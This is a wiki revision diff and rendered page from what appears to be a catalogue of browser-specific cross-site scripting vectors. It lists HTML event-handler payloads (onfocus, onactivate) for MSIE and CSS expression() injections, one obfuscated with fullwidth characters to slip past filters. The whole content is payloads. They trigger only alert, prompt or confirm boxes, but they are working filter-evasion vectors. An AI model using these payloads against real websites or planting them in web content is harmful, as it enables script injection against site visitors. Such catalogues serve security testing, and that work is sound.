Loveme5454 (talk | contribs) (ed) |
Loveme5454 (talk | contribs) (ed) |
||
| Line 16: | Line 16: | ||
# MSIE11 | # MSIE11 | ||
<div onactivate="alert(1)" id="xss" style="overflow:scroll"></div> | <div onactivate="alert(1)" id="xss" style="overflow:scroll"></div> | ||
<div onfocus=" | <div onfocus="prompt(1)" id="xss" style="display:table"> | ||
<div id="xss" style="-ms-block-progression:bt" onfocus=" | <div id="xss" style="-ms-block-progression:bt" onfocus="confirm(1)"> | ||
<div id="xss" style="-ms-layout-flow:vertical-ideographic" onfocus=" | <div id="xss" style="-ms-layout-flow:vertical-ideographic" onfocus="msgbox(1)"> | ||
<div id="xss" style="float:left" onfocus="alert(1)"> | <div id="xss" style="float:left" onfocus="alert(1)"> | ||
Revision as of 19:24, 25 May 2018
XXX
XXX
- MSIE10/11 & Edge
- MSIE10
- MSIE11
- Chrome, Opera, Safari
<style>@keyframes x{}</style>
- Chrome, Opera, Safari
<style> div {width: 100px;} div:target {width: 200px;} </style>
- Safari
<iframe src=x>
<// style=x:expression\28javascript:alert(1)\29> <style>*{x:ｅｘｐｒｅｓｓｉｏｎ(javascript:alert(1))}</style>
